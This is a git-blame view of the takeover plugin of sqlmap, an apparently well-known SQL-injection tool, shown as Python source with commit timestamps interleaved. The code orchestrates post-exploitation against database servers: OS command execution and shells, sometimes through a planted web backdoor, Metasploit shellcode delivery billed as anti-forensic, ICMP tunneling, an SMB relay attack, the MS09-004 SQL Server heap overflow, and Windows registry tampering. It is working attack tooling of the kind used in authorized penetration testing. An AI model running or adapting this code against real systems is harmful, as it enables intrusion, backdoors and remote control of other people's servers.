2013-02-14 15:32:17 +04:00
|
|
|
#!/usr/bin/env python
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
"""
|
2016-01-06 02:06:12 +03:00
|
|
|
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
|
2010-10-28 03:01:17 +04:00
|
|
|
import os
|
|
|
|
|
2011-01-28 19:36:09 +03:00
|
|
|
from lib.core.common import Backend
|
2013-02-13 12:57:16 +04:00
|
|
|
from lib.core.common import isStackingAvailable
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.common import readInput
|
2010-10-28 01:02:22 +04:00
|
|
|
from lib.core.common import runningAsAdmin
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import logger
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import DBMS
|
2011-04-23 20:25:09 +04:00
|
|
|
from lib.core.enums import OS
|
2013-02-14 22:32:22 +04:00
|
|
|
from lib.core.exception import SqlmapFilePathException
|
2012-12-06 17:14:19 +04:00
|
|
|
from lib.core.exception import SqlmapMissingDependence
|
|
|
|
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
|
|
|
from lib.core.exception import SqlmapMissingPrivileges
|
|
|
|
from lib.core.exception import SqlmapNotVulnerableException
|
|
|
|
from lib.core.exception import SqlmapUndefinedMethod
|
|
|
|
from lib.core.exception import SqlmapUnsupportedDBMSException
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.takeover.abstraction import Abstraction
|
2010-10-28 01:02:22 +04:00
|
|
|
from lib.takeover.icmpsh import ICMPsh
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.takeover.metasploit import Metasploit
|
|
|
|
from lib.takeover.registry import Registry
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-03-23 01:57:57 +03:00
|
|
|
from plugins.generic.misc import Miscellaneous
|
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
This class defines generic OS takeover functionalities for plugins.
|
|
|
|
"""
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def __init__(self):
|
2010-03-23 01:57:57 +03:00
|
|
|
self.cmdTblName = "sqlmapoutput"
|
|
|
|
self.tblField = "data"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
Abstraction.__init__(self)
|
|
|
|
|
|
|
|
def osCmd(self):
|
2013-02-13 12:57:16 +04:00
|
|
|
if isStackingAvailable() or conf.direct:
|
2010-01-14 18:11:32 +03:00
|
|
|
web = False
|
2013-02-13 12:57:16 +04:00
|
|
|
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
|
2010-01-14 17:03:16 +03:00
|
|
|
infoMsg = "going to use a web backdoor for command execution"
|
2009-04-28 15:05:07 +04:00
|
|
|
logger.info(infoMsg)
|
2010-01-28 20:22:17 +03:00
|
|
|
|
|
|
|
web = True
|
2009-04-28 15:05:07 +04:00
|
|
|
else:
|
2011-04-30 17:20:05 +04:00
|
|
|
errMsg = "unable to execute operating system commands via "
|
2010-01-14 18:11:32 +03:00
|
|
|
errMsg += "the back-end DBMS"
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapNotVulnerableException(errMsg)
|
2010-01-14 17:33:08 +03:00
|
|
|
|
2012-07-09 17:26:23 +04:00
|
|
|
self.getRemoteTempPath()
|
2010-01-14 18:11:32 +03:00
|
|
|
self.initEnv(web=web)
|
2010-01-15 21:00:15 +03:00
|
|
|
|
|
|
|
if not web or (web and self.webBackdoorUrl is not None):
|
|
|
|
self.runCmd(conf.osCmd)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-02-06 02:14:16 +03:00
|
|
|
if not conf.osShell and not conf.osPwn and not conf.cleanup:
|
2012-07-11 17:07:20 +04:00
|
|
|
self.cleanup(web=web)
|
2010-02-06 02:14:16 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
def osShell(self):
|
2013-02-13 12:57:16 +04:00
|
|
|
if isStackingAvailable() or conf.direct:
|
2010-01-14 18:11:32 +03:00
|
|
|
web = False
|
2013-02-13 12:57:16 +04:00
|
|
|
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
|
2010-01-14 17:03:16 +03:00
|
|
|
infoMsg = "going to use a web backdoor for command prompt"
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.info(infoMsg)
|
2010-01-28 20:22:17 +03:00
|
|
|
|
|
|
|
web = True
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
2011-04-30 17:20:05 +04:00
|
|
|
errMsg = "unable to prompt for an interactive operating "
|
2011-04-20 18:48:23 +04:00
|
|
|
errMsg += "system shell via the back-end DBMS because "
|
|
|
|
errMsg += "stacked queries SQL injection is not supported"
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapNotVulnerableException(errMsg)
|
2010-01-14 17:33:08 +03:00
|
|
|
|
2012-07-09 17:26:23 +04:00
|
|
|
self.getRemoteTempPath()
|
2010-01-14 18:11:32 +03:00
|
|
|
self.initEnv(web=web)
|
2010-01-15 21:00:15 +03:00
|
|
|
|
|
|
|
if not web or (web and self.webBackdoorUrl is not None):
|
|
|
|
self.shell()
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-02-06 02:14:16 +03:00
|
|
|
if not conf.osPwn and not conf.cleanup:
|
2012-07-11 17:07:20 +04:00
|
|
|
self.cleanup(web=web)
|
2010-02-06 02:14:16 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def osPwn(self):
|
2010-01-14 17:33:08 +03:00
|
|
|
goUdf = False
|
2013-02-14 22:32:22 +04:00
|
|
|
fallbackToWeb = False
|
|
|
|
setupSuccess = False
|
2010-01-14 17:33:08 +03:00
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
self.checkDbmsOs()
|
|
|
|
|
2011-04-24 01:57:07 +04:00
|
|
|
if Backend.isOs(OS.WINDOWS):
|
2011-07-26 14:29:14 +04:00
|
|
|
msg = "how do you want to establish the tunnel?"
|
|
|
|
msg += "\n[1] TCP: Metasploit Framework (default)"
|
2011-04-24 01:57:07 +04:00
|
|
|
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
|
2013-01-09 18:38:41 +04:00
|
|
|
valids = (1, 2)
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2011-07-26 14:29:14 +04:00
|
|
|
while True:
|
|
|
|
tunnel = readInput(msg, default=1)
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2011-07-26 14:29:14 +04:00
|
|
|
if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in valids:
|
|
|
|
tunnel = int(tunnel)
|
|
|
|
break
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2011-07-26 14:29:14 +04:00
|
|
|
elif isinstance(tunnel, int) and tunnel in valids:
|
|
|
|
break
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2011-07-26 14:29:14 +04:00
|
|
|
else:
|
|
|
|
warnMsg = "invalid value, valid values are 1 and 2"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
else:
|
|
|
|
tunnel = 1
|
|
|
|
|
|
|
|
debugMsg = "the tunnel can be established only via TCP when "
|
|
|
|
debugMsg += "the back-end DBMS is not Windows"
|
|
|
|
logger.debug(debugMsg)
|
2010-10-28 01:02:22 +04:00
|
|
|
|
|
|
|
if tunnel == 2:
|
|
|
|
isAdmin = runningAsAdmin()
|
|
|
|
|
2012-03-31 16:08:27 +04:00
|
|
|
if not isAdmin:
|
2011-04-30 17:20:05 +04:00
|
|
|
errMsg = "you need to run sqlmap as an administrator "
|
2010-10-28 01:02:22 +04:00
|
|
|
errMsg += "if you want to establish an out-of-band ICMP "
|
|
|
|
errMsg += "tunnel because icmpsh uses raw sockets to "
|
|
|
|
errMsg += "sniff and craft ICMP packets"
|
2013-01-04 02:20:55 +04:00
|
|
|
raise SqlmapMissingPrivileges(errMsg)
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2010-10-28 01:10:56 +04:00
|
|
|
try:
|
|
|
|
from impacket import ImpactDecoder
|
|
|
|
from impacket import ImpactPacket
|
2012-12-06 13:21:53 +04:00
|
|
|
except ImportError:
|
2013-01-07 17:34:20 +04:00
|
|
|
errMsg = "sqlmap requires 'python-impacket' third-party library "
|
|
|
|
errMsg += "in order to run icmpsh master. You can get it at "
|
2013-01-07 21:11:14 +04:00
|
|
|
errMsg += "http://code.google.com/p/impacket/downloads/list"
|
2013-01-04 02:20:55 +04:00
|
|
|
raise SqlmapMissingDependence(errMsg)
|
2010-10-28 01:10:56 +04:00
|
|
|
|
2010-10-28 03:01:17 +04:00
|
|
|
sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
|
|
|
|
|
|
|
|
if os.path.exists(sysIgnoreIcmp):
|
|
|
|
fp = open(sysIgnoreIcmp, "wb")
|
|
|
|
fp.write("1")
|
|
|
|
fp.close()
|
|
|
|
else:
|
|
|
|
errMsg = "you need to disable ICMP replies by your machine "
|
|
|
|
errMsg += "system-wide. For example run on Linux/Unix:\n"
|
|
|
|
errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
|
|
|
|
errMsg += "If you miss doing that, you will receive "
|
|
|
|
errMsg += "information from the database server and it "
|
2011-04-25 03:01:21 +04:00
|
|
|
errMsg += "is unlikely to receive commands sent from you"
|
2010-10-28 03:01:17 +04:00
|
|
|
logger.error(errMsg)
|
|
|
|
|
2013-01-09 18:38:41 +04:00
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
2010-10-29 17:09:53 +04:00
|
|
|
self.sysUdfs.pop("sys_bineval")
|
2010-10-28 04:19:40 +04:00
|
|
|
|
2013-02-14 22:32:22 +04:00
|
|
|
self.getRemoteTempPath()
|
|
|
|
|
2013-02-13 12:57:16 +04:00
|
|
|
if isStackingAvailable() or conf.direct:
|
2010-01-14 18:11:32 +03:00
|
|
|
web = False
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
self.initEnv(web=web)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
if tunnel == 1:
|
2013-01-09 18:38:41 +04:00
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
2011-04-30 17:20:05 +04:00
|
|
|
msg = "how do you want to execute the Metasploit shellcode "
|
2010-10-28 01:02:22 +04:00
|
|
|
msg += "on the back-end database underlying operating system?"
|
|
|
|
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
2011-07-20 17:45:34 +04:00
|
|
|
msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)"
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
while True:
|
|
|
|
choice = readInput(msg, default=1)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2013-01-09 18:38:41 +04:00
|
|
|
if isinstance(choice, basestring) and choice.isdigit() and int(choice) in (1, 2):
|
2010-10-28 01:02:22 +04:00
|
|
|
choice = int(choice)
|
|
|
|
break
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2013-01-09 18:38:41 +04:00
|
|
|
elif isinstance(choice, int) and choice in (1, 2):
|
2010-10-28 01:02:22 +04:00
|
|
|
break
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
else:
|
|
|
|
warnMsg = "invalid value, valid values are 1 and 2"
|
|
|
|
logger.warn(warnMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
if choice == 1:
|
|
|
|
goUdf = True
|
2009-09-26 03:03:45 +04:00
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
if goUdf:
|
2013-01-10 16:18:44 +04:00
|
|
|
exitfunc = "thread"
|
2013-02-14 22:32:22 +04:00
|
|
|
setupSuccess = True
|
2010-10-28 01:02:22 +04:00
|
|
|
else:
|
2013-01-10 16:18:44 +04:00
|
|
|
exitfunc = "process"
|
2011-04-25 03:01:21 +04:00
|
|
|
|
|
|
|
self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
2011-07-20 17:28:10 +04:00
|
|
|
|
|
|
|
if not goUdf:
|
2013-02-14 22:32:22 +04:00
|
|
|
setupSuccess = self.uploadShellcodeexec(web=web)
|
|
|
|
|
|
|
|
if setupSuccess is not True:
|
|
|
|
if Backend.isDbms(DBMS.MYSQL):
|
|
|
|
fallbackToWeb = True
|
|
|
|
else:
|
|
|
|
msg = "unable to mount the operating system takeover"
|
|
|
|
raise SqlmapFilePathException(msg)
|
|
|
|
|
|
|
|
if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc:
|
|
|
|
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
|
|
|
debugMsg += "user, no need to privilege escalate"
|
|
|
|
logger.debug(debugMsg)
|
2010-01-28 20:22:17 +03:00
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
elif tunnel == 2:
|
2013-02-14 22:32:22 +04:00
|
|
|
setupSuccess = self.uploadIcmpshSlave(web=web)
|
2010-10-28 04:19:40 +04:00
|
|
|
|
2013-02-14 22:32:22 +04:00
|
|
|
if setupSuccess is not True:
|
|
|
|
if Backend.isDbms(DBMS.MYSQL):
|
|
|
|
fallbackToWeb = True
|
|
|
|
else:
|
|
|
|
msg = "unable to mount the operating system takeover"
|
|
|
|
raise SqlmapFilePathException(msg)
|
|
|
|
|
|
|
|
if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb):
|
2010-01-28 20:22:17 +03:00
|
|
|
web = True
|
|
|
|
|
2013-02-14 22:32:22 +04:00
|
|
|
if fallbackToWeb:
|
|
|
|
infoMsg = "falling back to web backdoor to establish the tunnel"
|
|
|
|
else:
|
|
|
|
infoMsg = "going to use a web backdoor to establish the tunnel"
|
2010-10-28 01:02:22 +04:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2013-02-14 22:32:22 +04:00
|
|
|
self.initEnv(web=web, forceInit=fallbackToWeb)
|
2010-01-14 18:11:32 +03:00
|
|
|
|
|
|
|
if self.webBackdoorUrl:
|
2011-04-23 20:25:09 +04:00
|
|
|
if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
|
2010-01-28 20:22:17 +03:00
|
|
|
# Unset --priv-esc if the back-end DBMS underlying operating
|
|
|
|
# system is not Windows
|
|
|
|
conf.privEsc = False
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
warnMsg = "sqlmap does not implement any operating system "
|
2010-01-28 20:22:17 +03:00
|
|
|
warnMsg += "user privilege escalation technique when the "
|
|
|
|
warnMsg += "back-end DBMS underlying system is not Windows"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
if tunnel == 1:
|
2011-04-25 03:01:21 +04:00
|
|
|
self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
2013-02-14 22:32:22 +04:00
|
|
|
setupSuccess = self.uploadShellcodeexec(web=web)
|
|
|
|
|
|
|
|
if setupSuccess is not True:
|
|
|
|
msg = "unable to mount the operating system takeover"
|
|
|
|
raise SqlmapFilePathException(msg)
|
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
elif tunnel == 2:
|
2013-02-14 22:32:22 +04:00
|
|
|
setupSuccess = self.uploadIcmpshSlave(web=web)
|
2010-01-14 18:11:32 +03:00
|
|
|
|
2013-02-14 22:32:22 +04:00
|
|
|
if setupSuccess is not True:
|
|
|
|
msg = "unable to mount the operating system takeover"
|
|
|
|
raise SqlmapFilePathException(msg)
|
|
|
|
|
|
|
|
if setupSuccess:
|
|
|
|
if tunnel == 1:
|
2010-10-28 01:02:22 +04:00
|
|
|
self.pwn(goUdf)
|
2013-02-14 22:32:22 +04:00
|
|
|
elif tunnel == 2:
|
|
|
|
self.icmpPwn()
|
|
|
|
else:
|
|
|
|
errMsg = "unable to prompt for an out-of-band session"
|
|
|
|
raise SqlmapNotVulnerableException(errMsg)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-10-28 04:19:40 +04:00
|
|
|
if not conf.cleanup:
|
2012-07-11 17:07:20 +04:00
|
|
|
self.cleanup(web=web)
|
2010-02-06 02:14:16 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def osSmb(self):
|
|
|
|
self.checkDbmsOs()
|
|
|
|
|
2011-04-23 20:25:09 +04:00
|
|
|
if not Backend.isOs(OS.WINDOWS):
|
2011-04-30 17:20:05 +04:00
|
|
|
errMsg = "the back-end DBMS underlying operating system is "
|
2009-04-22 15:48:07 +04:00
|
|
|
errMsg += "not Windows: it is not possible to perform the SMB "
|
|
|
|
errMsg += "relay attack"
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapUnsupportedDBMSException(errMsg)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2013-02-13 12:57:16 +04:00
|
|
|
if not isStackingAvailable() and not conf.direct:
|
2013-01-09 18:38:41 +04:00
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL):
|
2011-04-30 17:20:05 +04:00
|
|
|
errMsg = "on this back-end DBMS it is only possible to "
|
2009-04-22 15:48:07 +04:00
|
|
|
errMsg += "perform the SMB relay attack if stacked "
|
|
|
|
errMsg += "queries are supported"
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapUnsupportedDBMSException(errMsg)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
elif Backend.isDbms(DBMS.MYSQL):
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "since stacked queries are not supported, "
|
2009-04-22 15:48:07 +04:00
|
|
|
debugMsg += "sqlmap is going to perform the SMB relay "
|
|
|
|
debugMsg += "attack via inference blind SQL injection"
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
printWarn = True
|
2011-04-30 17:20:05 +04:00
|
|
|
warnMsg = "it is unlikely that this attack will be successful "
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
if Backend.isDbms(DBMS.MYSQL):
|
2009-04-22 15:48:07 +04:00
|
|
|
warnMsg += "because by default MySQL on Windows runs as "
|
|
|
|
warnMsg += "Local System which is not a real user, it does "
|
|
|
|
warnMsg += "not send the NTLM session hash when connecting to "
|
|
|
|
warnMsg += "a SMB service"
|
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
elif Backend.isDbms(DBMS.PGSQL):
|
2009-04-22 15:48:07 +04:00
|
|
|
warnMsg += "because by default PostgreSQL on Windows runs "
|
|
|
|
warnMsg += "as postgres user which is a real user of the "
|
|
|
|
warnMsg += "system, but not within the Administrators group"
|
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
|
2011-01-28 19:36:09 +03:00
|
|
|
warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion()
|
2009-04-22 15:48:07 +04:00
|
|
|
warnMsg += "runs as Network Service which is not a real user, "
|
|
|
|
warnMsg += "it does not send the NTLM session hash when "
|
|
|
|
warnMsg += "connecting to a SMB service"
|
|
|
|
|
|
|
|
else:
|
|
|
|
printWarn = False
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if printWarn:
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
self.smb()
|
|
|
|
|
|
|
|
def osBof(self):
|
2013-02-13 12:57:16 +04:00
|
|
|
if not isStackingAvailable() and not conf.direct:
|
2009-04-22 15:48:07 +04:00
|
|
|
return
|
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")):
|
2011-04-30 17:20:05 +04:00
|
|
|
errMsg = "the back-end DBMS must be Microsoft SQL Server "
|
2009-04-22 15:48:07 +04:00
|
|
|
errMsg += "2000 or 2005 to be able to exploit the heap-based "
|
|
|
|
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
|
|
|
|
errMsg += "stored procedure (MS09-004)"
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapUnsupportedDBMSException(errMsg)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
|
2009-04-22 15:48:07 +04:00
|
|
|
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
|
|
|
|
infoMsg += "buffer overflow (MS09-004)"
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2011-07-26 14:29:14 +04:00
|
|
|
msg = "this technique is likely to DoS the DBMS process, are you "
|
|
|
|
msg += "sure that you want to carry with the exploit? [y/N] "
|
2014-05-15 21:08:41 +04:00
|
|
|
choice = readInput(msg, default="N")
|
2011-07-26 14:29:14 +04:00
|
|
|
|
2014-05-15 21:08:41 +04:00
|
|
|
dos = choice and choice[0].lower() == "y"
|
2011-07-26 14:29:14 +04:00
|
|
|
|
|
|
|
if dos:
|
|
|
|
self.initEnv(mandatory=False, detailed=True)
|
|
|
|
self.getRemoteTempPath()
|
|
|
|
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
|
|
|
|
self.bof()
|
2009-09-26 03:03:45 +04:00
|
|
|
|
2010-03-23 01:57:57 +03:00
|
|
|
def uncPathRequest(self):
|
2011-04-30 17:20:05 +04:00
|
|
|
errMsg = "'uncPathRequest' method must be defined "
|
2010-03-23 01:57:57 +03:00
|
|
|
errMsg += "into the specific DBMS plugin"
|
2013-01-04 02:20:55 +04:00
|
|
|
raise SqlmapUndefinedMethod(errMsg)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _regInit(self):
|
2013-02-13 12:57:16 +04:00
|
|
|
if not isStackingAvailable() and not conf.direct:
|
2009-09-26 03:03:45 +04:00
|
|
|
return
|
|
|
|
|
|
|
|
self.checkDbmsOs()
|
|
|
|
|
2011-04-23 20:25:09 +04:00
|
|
|
if not Backend.isOs(OS.WINDOWS):
|
2011-04-30 17:20:05 +04:00
|
|
|
errMsg = "the back-end DBMS underlying operating system is "
|
2009-09-26 03:03:45 +04:00
|
|
|
errMsg += "not Windows"
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapUnsupportedDBMSException(errMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
|
|
|
|
self.initEnv()
|
|
|
|
self.getRemoteTempPath()
|
|
|
|
|
|
|
|
def regRead(self):
|
2012-12-06 17:14:19 +04:00
|
|
|
self._regInit()
|
2009-09-26 03:03:45 +04:00
|
|
|
|
|
|
|
if not conf.regKey:
|
2014-04-06 20:15:06 +04:00
|
|
|
default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
|
2011-04-30 17:20:05 +04:00
|
|
|
msg = "which registry key do you want to read? [%s] " % default
|
|
|
|
regKey = readInput(msg, default=default)
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
regKey = conf.regKey
|
|
|
|
|
|
|
|
if not conf.regVal:
|
|
|
|
default = "ProductName"
|
2011-04-30 17:20:05 +04:00
|
|
|
msg = "which registry key value do you want to read? [%s] " % default
|
|
|
|
regVal = readInput(msg, default=default)
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
regVal = conf.regVal
|
|
|
|
|
|
|
|
infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2010-03-13 01:09:58 +03:00
|
|
|
return self.readRegKey(regKey, regVal, True)
|
2009-09-26 03:03:45 +04:00
|
|
|
|
|
|
|
def regAdd(self):
|
2012-12-06 17:14:19 +04:00
|
|
|
self._regInit()
|
2009-09-26 03:03:45 +04:00
|
|
|
|
|
|
|
errMsg = "missing mandatory option"
|
|
|
|
|
|
|
|
if not conf.regKey:
|
2011-04-30 17:20:05 +04:00
|
|
|
msg = "which registry key do you want to write? "
|
2009-09-26 03:03:45 +04:00
|
|
|
regKey = readInput(msg)
|
|
|
|
|
|
|
|
if not regKey:
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapMissingMandatoryOptionException(errMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
regKey = conf.regKey
|
|
|
|
|
|
|
|
if not conf.regVal:
|
2011-04-30 17:20:05 +04:00
|
|
|
msg = "which registry key value do you want to write? "
|
2009-09-26 03:03:45 +04:00
|
|
|
regVal = readInput(msg)
|
|
|
|
|
|
|
|
if not regVal:
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapMissingMandatoryOptionException(errMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
regVal = conf.regVal
|
|
|
|
|
|
|
|
if not conf.regData:
|
2011-04-30 17:20:05 +04:00
|
|
|
msg = "which registry key value data do you want to write? "
|
2009-09-26 03:03:45 +04:00
|
|
|
regData = readInput(msg)
|
|
|
|
|
|
|
|
if not regData:
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapMissingMandatoryOptionException(errMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
regData = conf.regData
|
|
|
|
|
|
|
|
if not conf.regType:
|
|
|
|
default = "REG_SZ"
|
2011-04-30 17:20:05 +04:00
|
|
|
msg = "which registry key value data-type is it? "
|
|
|
|
msg += "[%s] " % default
|
2009-09-26 03:03:45 +04:00
|
|
|
regType = readInput(msg, default=default)
|
|
|
|
else:
|
|
|
|
regType = conf.regType
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
|
2009-09-26 03:03:45 +04:00
|
|
|
infoMsg += "with data '%s'. " % regData
|
|
|
|
infoMsg += "This will work only if the user running the database "
|
|
|
|
infoMsg += "process has privileges to modify the Windows registry."
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
self.addRegKey(regKey, regVal, regType, regData)
|
|
|
|
|
|
|
|
def regDel(self):
|
2012-12-06 17:14:19 +04:00
|
|
|
self._regInit()
|
2009-09-26 03:03:45 +04:00
|
|
|
|
|
|
|
errMsg = "missing mandatory option"
|
|
|
|
|
|
|
|
if not conf.regKey:
|
2011-04-30 17:20:05 +04:00
|
|
|
msg = "which registry key do you want to delete? "
|
2009-09-26 03:03:45 +04:00
|
|
|
regKey = readInput(msg)
|
|
|
|
|
|
|
|
if not regKey:
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapMissingMandatoryOptionException(errMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
regKey = conf.regKey
|
|
|
|
|
|
|
|
if not conf.regVal:
|
2011-04-30 17:20:05 +04:00
|
|
|
msg = "which registry key value do you want to delete? "
|
2009-12-21 14:04:54 +03:00
|
|
|
regVal = readInput(msg)
|
2009-09-26 03:03:45 +04:00
|
|
|
|
|
|
|
if not regVal:
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapMissingMandatoryOptionException(errMsg)
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
regVal = conf.regVal
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
message = "are you sure that you want to delete the Windows "
|
2009-09-26 03:03:45 +04:00
|
|
|
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
|
2011-04-30 17:20:05 +04:00
|
|
|
output = readInput(message, default="N")
|
2009-09-26 03:03:45 +04:00
|
|
|
|
2013-01-09 18:38:41 +04:00
|
|
|
if output and output[0] not in ("Y", "y"):
|
2009-09-26 03:03:45 +04:00
|
|
|
return
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal)
|
2009-09-26 03:03:45 +04:00
|
|
|
infoMsg += "This will work only if the user running the database "
|
|
|
|
infoMsg += "process has privileges to modify the Windows registry."
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
self.delRegKey(regKey, regVal)
|